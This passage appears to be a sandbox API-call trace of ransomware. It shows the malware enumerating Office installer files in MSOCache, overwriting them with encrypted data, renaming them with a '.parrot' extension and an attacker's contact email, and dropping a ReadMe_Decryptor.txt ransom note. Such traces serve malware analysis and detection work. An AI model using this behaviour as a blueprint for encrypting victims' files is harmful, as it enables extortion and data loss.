lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f2a0) returned 0x562370 [0035.351] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.351] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.352] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.352] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.352] FindNextFileW (in: hFindFile=0x562370, lpFindFileData=0x235f2a0 | out: lpFindFileData=0x235f2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0035.352] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x565020 [0035.352] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565020 | out: hHeap=0x540000) returned 1 [0035.352] lstrcmpW (lpString1="ExcelLR.cab", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.352] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0035.371] GetFileSize (in: hFile=0x14c, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x102fcbb [0035.371] LockFile (hFile=0x14c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x102fdd3, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.371] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.371] ReadFile (in: hFile=0x14c, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0035.381] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.381] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100023) returned 0x27c0020 [0035.574] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.575] WriteFile (in: hFile=0x14c, lpBuffer=0x562e68*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x562e68*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0035.575] SetFilePointerEx (in: hFile=0x14c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.575] WriteFile (in: hFile=0x14c, lpBuffer=0x29d0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x29d0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0035.578] UnlockFile (hFile=0x14c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x102fdd3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.578] CloseHandle (hObject=0x14c) returned 1 [0036.858] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x562ff0 [0036.858] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x563098 [0036.858] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562ff0 | out: hHeap=0x540000) returned 1 [0036.858] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0036.976] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563098 | out: hHeap=0x540000) returned 1 [0036.976] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562e68 | out: hHeap=0x540000) returned 1 [0036.976] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x29d0020 | out: hHeap=0x540000) returned 1 [0036.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x561fe0 [0036.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ae8 [0036.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb78 [0036.982] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x44) returned 0x5623b0 [0036.983] GetLastError () returned 0x0 [0036.983] SetLastError (dwErrCode=0x0) [0036.984] GetLastError () returned 0x0 [0036.984] SetLastError (dwErrCode=0x0) [0036.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x562068 [0036.984] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x28d0048 [0036.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0036.986] GetLastError () returned 0x0 [0036.986] SetLastError (dwErrCode=0x0) [0036.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bba8 [0036.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bbc8 [0036.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x55bbd8 [0036.986] GetLastError () returned 0x0 [0036.986] SetLastError (dwErrCode=0x0) [0036.986] GetLastError () returned 0x0 [0036.986] SetLastError (dwErrCode=0x0) [0036.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x562128 [0036.986] GetLastError () returned 0x0 [0036.986] SetLastError (dwErrCode=0x0) [0036.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x28d0048 [0036.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0036.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bba8 | out: hHeap=0x540000) returned 1 [0036.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562068 | out: hHeap=0x540000) returned 1 [0036.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbd8 | out: hHeap=0x540000) returned 1 [0036.987] GetLastError () returned 0x0 [0036.987] SetLastError (dwErrCode=0x0) [0036.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbd8 [0036.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bba8 [0036.988] GetLastError () returned 0x0 [0036.988] SetLastError (dwErrCode=0x0) [0036.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x200) returned 0x562e68 [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x55bbe8 [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x562068 [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x28d0048 [0036.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0036.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbd8 | out: hHeap=0x540000) returned 1 [0036.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562128 | out: hHeap=0x540000) returned 1 [0036.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0036.990] GetLastError () returned 0x0 [0036.990] SetLastError (dwErrCode=0x0) [0036.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0036.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bba8 | out: hHeap=0x540000) returned 1 [0036.990] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbc8 | out: hHeap=0x540000) returned 1 [0036.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbc8 [0036.990] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bba8 [0036.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0037.084] GetFileType (hFile=0x154) returned 0x1 [0037.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x34) returned 0x562128 [0037.085] GetLastError () returned 0x0 [0037.085] SetLastError (dwErrCode=0x0) [0037.085] GetLastError () returned 0x0 [0037.086] SetLastError (dwErrCode=0x0) [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x562168 [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x28d0048 [0037.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0037.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562068 | out: hHeap=0x540000) returned 1 [0037.086] GetLastError () returned 0x0 [0037.086] SetLastError (dwErrCode=0x0) [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bbd8 [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x55bbf8 [0037.086] GetLastError () returned 0x0 [0037.086] SetLastError (dwErrCode=0x0) [0037.086] GetLastError () returned 0x0 [0037.086] SetLastError (dwErrCode=0x0) [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x562068 [0037.086] GetLastError () returned 0x0 [0037.086] SetLastError (dwErrCode=0x0) [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x28d0048 [0037.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0037.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562168 | out: hHeap=0x540000) returned 1 [0037.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbf8 | out: hHeap=0x540000) returned 1 [0037.086] GetLastError () returned 0x0 [0037.086] SetLastError (dwErrCode=0x0) [0037.086] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbf8 [0037.087] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bbe8 [0037.087] GetLastError () returned 0x0 [0037.087] SetLastError (dwErrCode=0x0) [0037.087] GetLastError () returned 0x0 [0037.087] SetLastError (dwErrCode=0x0) [0037.087] GetLastError () returned 0x0 [0037.087] SetLastError (dwErrCode=0x0) [0037.087] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x55bc08 [0037.087] GetLastError () returned 0x0 [0037.113] SetLastError (dwErrCode=0x0) [0037.113] GetLastError () returned 0x0 [0037.113] SetLastError (dwErrCode=0x0) [0037.113] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb8) returned 0x562168 [0037.113] GetLastError () returned 0x0 [0037.113] SetLastError (dwErrCode=0x0) [0037.114] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6a6) returned 0x28d0048 [0037.114] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.114] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbf8 | out: hHeap=0x540000) returned 1 [0037.114] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562068 | out: hHeap=0x540000) returned 1 [0037.114] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bc08 | out: hHeap=0x540000) returned 1 [0037.114] GetLastError () returned 0x0 [0037.114] SetLastError (dwErrCode=0x0) [0037.114] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bc08 [0037.114] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0037.114] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbd8 | out: hHeap=0x540000) returned 1 [0037.114] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbd8 [0037.115] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28d0048 [0037.140] lstrcmpW (lpString1="ExcelMUI.msi", lpString2="ReadMe_Decryptor.txt") returned -1 [0037.140] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0037.141] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x263e00 [0037.141] LockFile (hFile=0x154, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x263f18, nNumberOfBytesToLockHigh=0x0) returned 1 [0037.141] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0037.141] ReadFile (in: hFile=0x154, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0037.156] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0037.156] ReadFile (in: hFile=0x154, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb78 [0037.203] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb78 | out: hHeap=0x540000) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x55fa58 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5616c8 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb500 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x28d0048 [0037.203] GetLastError () returned 0x0 [0037.203] SetLastError (dwErrCode=0x0) [0037.203] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5513b8 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5616e0 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a168 [0037.203] GetLastError () returned 0x0 [0037.203] SetLastError (dwErrCode=0x0) [0037.203] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a168 | out: hHeap=0x540000) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb500 [0037.203] GetLastError () returned 0x0 [0037.203] SetLastError (dwErrCode=0x0) [0037.203] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb500 [0037.203] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5616f8 [0037.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28d1260 [0037.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x28d2268 [0037.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x28d32a8 [0037.204] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d2268 | out: hHeap=0x540000) returned 1 [0037.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x28d52e8 [0037.204] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d32a8 | out: hHeap=0x540000) returned 1 [0037.204] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x28d9328 [0037.204] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d52e8 | out: hHeap=0x540000) returned 1 [0037.206] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28e1368 [0037.207] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9328 | out: hHeap=0x540000) returned 1 [0037.208] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x28f13a8 [0037.209] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28e1368 | out: hHeap=0x540000) returned 1 [0037.210] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40033) returned 0x5cbfc8 [0037.212] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28f13a8 | out: hHeap=0x540000) returned 1 [0037.214] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80033) returned 0x4b0020 [0037.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cbfc8 | out: hHeap=0x540000) returned 1 [0037.222] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100033) returned 0x29d0020 [0037.229] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4b0020 | out: hHeap=0x540000) returned 1 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616f8 | out: hHeap=0x540000) returned 1 [0037.263] GetLastError () returned 0x0 [0037.263] SetLastError (dwErrCode=0x0) [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d1260 | out: hHeap=0x540000) returned 1 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616e0 | out: hHeap=0x540000) returned 1 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5513b8 | out: hHeap=0x540000) returned 1 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5616c8 | out: hHeap=0x540000) returned 1 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55fa58 | out: hHeap=0x540000) returned 1 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x561fe0 [0037.263] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x563070 [0037.263] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0037.263] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0037.264] WriteFile (in: hFile=0x154, lpBuffer=0x563070*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x563070*, lpNumberOfBytesWritten=0x235f1e8*=0x118, lpOverlapped=0x0) returned 1 [0037.264] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0037.264] WriteFile (in: hFile=0x154, lpBuffer=0x29d0040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x29d0040*, lpNumberOfBytesWritten=0x235f1e8*=0x100000, lpOverlapped=0x0) returned 1 [0037.267] UnlockFile (hFile=0x154, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x263f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0037.267] CloseHandle (hObject=0x154) returned 1 [0037.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x561fe0 [0037.517] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x28d0048 [0037.517] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0037.517] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0037.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0048 | out: hHeap=0x540000) returned 1 [0037.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563070 | out: hHeap=0x540000) returned 1 [0037.518] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x29d0020 | out: hHeap=0x540000) returned 1 [0037.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x561fe0 [0037.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559ae8 [0037.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb78 [0037.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bba8 [0037.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ReadMe_Decryptor.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x235efdc, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0037.605] GetFileType (hFile=0x154) returned 0x1 [0037.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x28d0048 [0037.634] lstrcmpW (lpString1="ExcelMUI.xml", lpString2="ReadMe_Decryptor.txt") returned -1 [0037.634] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0037.635] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x235f264 | out: lpFileSizeHigh=0x235f264*=0x0) returned 0x61d [0037.635] LockFile (hFile=0x154, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x735, nNumberOfBytesToLockHigh=0x0) returned 1 [0037.635] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0037.635] ReadFile (in: hFile=0x154, lpBuffer=0x235f244, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x235f244*, lpNumberOfBytesRead=0x235f1e8*=0x18, lpOverlapped=0x0) returned 1 [0037.636] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0037.636] ReadFile (in: hFile=0x154, lpBuffer=0x27c0040, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x235f1e8, lpOverlapped=0x0 | out: lpBuffer=0x27c0040*, lpNumberOfBytesRead=0x235f1e8*=0x61d, lpOverlapped=0x0) returned 1 [0037.636] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bb78 [0037.636] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb78 | out: hHeap=0x540000) returned 1 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x55fa58 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5616c8 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb500 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x28d0048 [0037.637] GetLastError () returned 0x0 [0037.637] SetLastError (dwErrCode=0x0) [0037.637] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb500 | out: hHeap=0x540000) returned 1 [0037.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5513b8 [0037.637] RtlAllocateHeap 